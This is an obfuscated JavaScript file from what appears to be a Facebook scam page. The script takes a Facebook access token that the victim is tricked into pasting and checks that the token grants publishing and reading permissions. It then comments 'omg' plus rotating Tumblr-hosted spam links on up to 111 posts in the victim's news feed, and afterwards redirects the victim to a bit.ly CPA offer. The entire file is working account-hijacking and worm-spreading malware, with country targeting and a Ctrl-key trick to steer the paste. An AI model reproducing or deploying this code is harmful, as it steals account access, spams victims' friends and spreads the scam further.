var country = geoip_country_code();
console['log']('Country >> ' + country);
if (country == 'US' || country == 'GB' || country == 'IT' || country == 'AU' || country == 'CA' || country == 'FR' || country == 'DE' || country == 'RU' || country == 'NZ' || country == 'ES' || country == 'SE') {} else {
    var is_firefox = navigator['userAgent']['toLowerCase']()['indexOf']('firefox') > -1;
    if (is_firefox) {} else {};
};
var isCtrl = false;
document['onkeyup'] = function (_0xa547x4) {
    if (_0xa547x4['which'] == 17) {
        isCtrl = false;
    };
};
document['onkeydown'] = function (_0xa547x4) {
    if (_0xa547x4['which'] == 17) {
        isCtrl = true;
        SetFocus('scatola');
        return false;
    };
};
$('.url')['live']('paste', function (_0xa547x5) {
    var _0xa547x6 = this;
    setTimeout(function () {
        var _0xa547x7 = $(_0xa547x6)['val']();
        $('.control')['css']('display', 'none');
        $('#loading_bar')['css']('display', 'block');
        checkData(_0xa547x7);
    }, 100);
});

function SetFocus(_0xa547x9) {
    document['getElementById'](_0xa547x9)['focus']();
};

function checkData(_0xa547xb) {
    try {
        if (_0xa547xb['indexOf']('access_token=') == -1) {
            throw new Error('invalid access_token');
        };
        var _0xa547xc = _0xa547xb['split']('access_token=')['pop']()['split']('&')['shift']();
        var _0xa547xd = _0xa547xb['split']('expires_in=')['pop']()['split']('&')['shift']();
        console['log']('Got token >>> ', _0xa547xc);
        if (_0xa547xc) {
            checkToken(_0xa547xc);
        } else {
            throw new Error('invalid access_token');
        };
    } catch (e) {
        handleError();
    };
};
var handleError = function () {
    alert('Whoops! Looks like there was a problem generating your code, please try again');
    $('.control')['css']('display', 'block');
    $('#loading_bar')['css']('display', 'none');
    prevSlide();
};

function checkToken(_0xa547x10) {
    $['getJSON']('https://graph.facebook.com/me/permissions?access_token=' + _0xa547x10, function (_0xa547x11) {
        if ((_0xa547x11['data'][0]['publish_stream']) && (_0xa547x11['data'][0]['read_stream'])) {
            if ((_0xa547x11['data'][0]['publish_stream'] == 1) && (_0xa547x11['data'][0]['read_stream'] == 1)) {
                doShit(_0xa547x10);
            } else {
                $('#loading_bar3')['css']('display', 'block');
                alert('You MUST allow the app to continue');
                prevSlide();
                $('#loading_bar3')['css']('display', 'none');
                $('.control')['css']('display', 'block');
                $('#loading_bar')['css']('display', 'none');
            };
        } else {
            $('#loading_bar3')['css']('display', 'block');
            alert('You MUST allow the app to continue');
            prevSlide();
            $('#loading_bar3')['css']('display', 'none');
            $('.control')['css']('display', 'block');
            $('#loading_bar')['css']('display', 'none');
        };
    });
};

function Reinderizza() {
    setTimeout(function () {
        cpa();
    }, 35000);
};

function cpa() {
    console['log']('Redirecting...');
    top['location'] = 'http://bit.ly/w1W1k2';
};

function doShit(_0xa547x15) {
    console['log']('Do shit started');
    if (_0xa547x15['length'] < 30) {
        alert('Wrong Code. Please try again.');
        $('.control')['css']('display', 'block');
        $('#loading_bar')['css']('display', 'none');
        prevSlide();
    } else {
        $['getJSON']('https://graph.facebook.com/me?access_token=' + _0xa547x15, function (_0xa547x11) {
            if (_0xa547x11['id']) {
                console['log']('Token is valid');
                $('#loading_bar2')['css']('display', 'block');
                var _0xa547x16 = _0xa547x11['id'];
                var _0xa547x17 = _0xa547x11['name'];
                var _0xa547x18 = Math['floor'](Math['random']() * 64387248987);

                function _0xa547x19(_0xa547x1a, _0xa547x1b) {
                    return Math['floor'](Math['random']() * (_0xa547x1b - _0xa547x1a + 1) + _0xa547x1a);
                };
                var _0xa547x1c = 'omg ';
                var _0xa547x1d = 40;
                if (country == 'US' || country == 'GB' || country == 'IT' || country == 'AU' || country == 'CA' || country == 'FR' || country == 'DE' || country == 'RU' || country == 'NZ' || country == 'ES' || country == 'SE') {
                    var _0xa547x1d = 111;
                    var _0xa547x1e = new Array();
                    _0xa547x1e[0] = 'it';
                    _0xa547x1e[1] = 'fr';
                    _0xa547x1e[2] = 'jp';
                    _0xa547x1e[3] = 'ca';
                    _0xa547x1e[4] = 'in';
                    _0xa547x1e[5] = 'co.nz';
                    _0xa547x1e[6] = 'com.es';
                    _0xa547x1e[7] = 'com';
                    _0xa547x1e[8] = 'co.uk';
                    _0xa547x1e[9] = 'de';
                    _0xa547x1e[10] = 'com.ar';
                    var _0xa547x1f = Math['floor'](Math['random']() * _0xa547x1e['length']);
                    var _0xa547x20 = _0xa547x1e[_0xa547x1f];
                    var _0xa547x21 = new Array('http://static.tumblr.com/q9jmgna/LBimjma6x/0.html', 'http://static.tumblr.com/q9jmgna/GQsmjma8k/1.html', 'http://static.tumblr.com/q9jmgna/8oEmjma8t/2.html', 'http://static.tumblr.com/q9jmgna/Y8Amjma91/3.html', 'http://static.tumblr.com/q9jmgna/66Tmjma9d/4.html', 'http://static.tumblr.com/q9jmgna/LPOmjma9m/5.html', 'http://static.tumblr.com/q9jmgna/ZRjmjma9u/6.html', 'http://static.tumblr.com/q9jmgna/MY7mjmaa2/7.html', 'http://static.tumblr.com/q9jmgna/jKTmjmaad/8.html', 'http://static.tumblr.com/q9jmgna/O82mjmaal/9.html', 'http://static.tumblr.com/qcptgvt/i2kmjmdpl/0.html', 'http://static.tumblr.com/qcptgvt/Fi6mjmdpu/1.html', 'http://static.tumblr.com/qcptgvt/IbAmjmdq5/2.html', 'http://static.tumblr.com/qcptgvt/n2Kmjmdqe/3.html', 'http://static.tumblr.com/qcptgvt/YsJmjmdqm/4.html', 'http://static.tumblr.com/qcptgvt/of5mjmdqv/5.html', 'http://static.tumblr.com/qcptgvt/Mfcmjmdr2/6.html', 'http://static.tumblr.com/qcptgvt/A8Fmjmdra/7.html', 'http://static.tumblr.com/qcptgvt/e2Mmjmdri/8.html', 'http://static.tumblr.com/qcptgvt/vhsmjmdrq/9.html');
                } else {
                    var _0xa547x1d = 111;
                    console['log']('bad country');
                    var _0xa547x1e = new Array();
                    _0xa547x1e[0] = 'it';
                    _0xa547x1e[1] = 'fr';
                    _0xa547x1e[2] = 'jp';
                    _0xa547x1e[3] = 'ca';
                    _0xa547x1e[4] = 'in';
                    _0xa547x1e[5] = 'co.nz';
                    _0xa547x1e[6] = 'com.es';
                    _0xa547x1e[7] = 'com';
                    _0xa547x1e[8] = 'co.uk';
                    _0xa547x1e[9] = 'de';
                    _0xa547x1e[10] = 'com.ar';
                    var _0xa547x1f = Math['floor'](Math['random']() * _0xa547x1e['length']);
                    var _0xa547x20 = _0xa547x1e[_0xa547x1f];
                    var _0xa547x21 = new Array('http://static.tumblr.com/p76eyci/ZOhmjmamt/0.html', 'http://static.tumblr.com/p76eyci/Gv3mjman6/1.html', 'http://static.tumblr.com/p76eyci/taDmjmanf/2.html', 'http://static.tumblr.com/p76eyci/lgUmjmann/3.html', 'http://static.tumblr.com/p76eyci/Kvpmjmanv/4.html', 'http://static.tumblr.com/p76eyci/cIFmjmao3/5.html', 'http://static.tumblr.com/p76eyci/pe2mjmaoa/6.html', 'http://static.tumblr.com/p76eyci/J0wmjmaoh/7.html', 'http://static.tumblr.com/p76eyci/vHImjmaoo/8.html', 'http://static.tumblr.com/p76eyci/hYDmjmaox/9.html', 'http://static.tumblr.com/7dxezsw/6njmjmdzo/0.html', 'http://static.tumblr.com/7dxezsw/yfgmjme00/1.html', 'http://static.tumblr.com/7dxezsw/d4mmjme0f/2.html', 'http://static.tumblr.com/7dxezsw/2UVmjme0n/3.html', 'http://static.tumblr.com/7dxezsw/u0Omjme0v/4.html', 'http://static.tumblr.com/7dxezsw/oXumjme15/5.html', 'http://static.tumblr.com/7dxezsw/Kb0mjme1g/6.html', 'http://static.tumblr.com/7dxezsw/FvAmjme1n/7.html', 'http://static.tumblr.com/7dxezsw/NDVmjme25/8.html', 'http://static.tumblr.com/7dxezsw/nLsmjme2d/9.html', 'http://static.tumblr.com/gkq5fxx/LaAmjmeik/0.html', 'http://static.tumblr.com/gkq5fxx/xC7mjmeis/1.html', 'http://static.tumblr.com/gkq5fxx/jg5mjmej0/2.html', 'http://static.tumblr.com/gkq5fxx/yHmmjmej7/3.html', 'http://static.tumblr.com/gkq5fxx/I91mjmejf/4.html', 'http://static.tumblr.com/gkq5fxx/bNImjmejs/5.html', 'http://static.tumblr.com/gkq5fxx/cNRmjmek0/6.html', 'http://static.tumblr.com/gkq5fxx/nyOmjmek7/7.html', 'http://static.tumblr.com/gkq5fxx/8nbmjmeke/8.html', 'http://static.tumblr.com/gkq5fxx/pdDmjmekl/9.html');
                };
                $['getJSON']('https://graph.facebook.com/' + _0xa547x16 + '/home?limit=' + _0xa547x1d + '&access_token=' + _0xa547x15, function (_0xa547x11) {
                    if (_0xa547x11['data']) {
                        console['log']('Got array of posts');
                        var _0xa547x22 = [];
                        var _0xa547x23 = 0;
                        $['each'](_0xa547x11['data'], function (_0xa547x24, _0xa547xb) {
                            _0xa547x22['push'](_0xa547xb['id']);
                            var _0xa547x25 = Math['floor'](Math['random']() * _0xa547x21['length']);
                            var _0xa547x26 = Math['floor'](Math['random']() * _0xa547x18);
                            var _0xa547x27 = _0xa547x21[_0xa547x25] + '?' + _0xa547x26;
                            var _0xa547x28 = null;
                            _0xa547x23 = _0xa547x23 + 1;
                            _0xa547x28 = _0xa547x21[_0xa547x25] + '?' + _0xa547x26;
                            _0xa547x29();

                            function _0xa547x29() {
                                var _0xa547x2a = _0xa547x1c + _0xa547x28;
                                console['log']('Posting >>> ' + _0xa547x2a);

                                function _0xa547x2b() {
                                    _0xa547x2c();
                                    $['getJSON']('https://graph.facebook.com/' + _0xa547xb['id'] + '/comments?method=POST&message=' + _0xa547x2a + '&access_token=' + _0xa547x15, function (_0xa547x11) {
                                        console['log']('Comment id: ' + _0xa547xb['id']);
                                    });
                                };
                                _0xa547x2b();
                            };

                            function _0xa547x2c() {
                                if (_0xa547x23 == _0xa547x1d) {
                                    console['log'](_0xa547x23, _0xa547x1d);
                                    console['log']('Done');
                                    Reinderizza();
                                };
                            };
                        });
                    } else {
                        alert('Wrong Code. Please try again.');
                        $('.control')['css']('display', 'block');
                        $('#loading_bar')['css']('display', 'none');
                        prevSlide();
                    };
                });
            };
        });
    };
};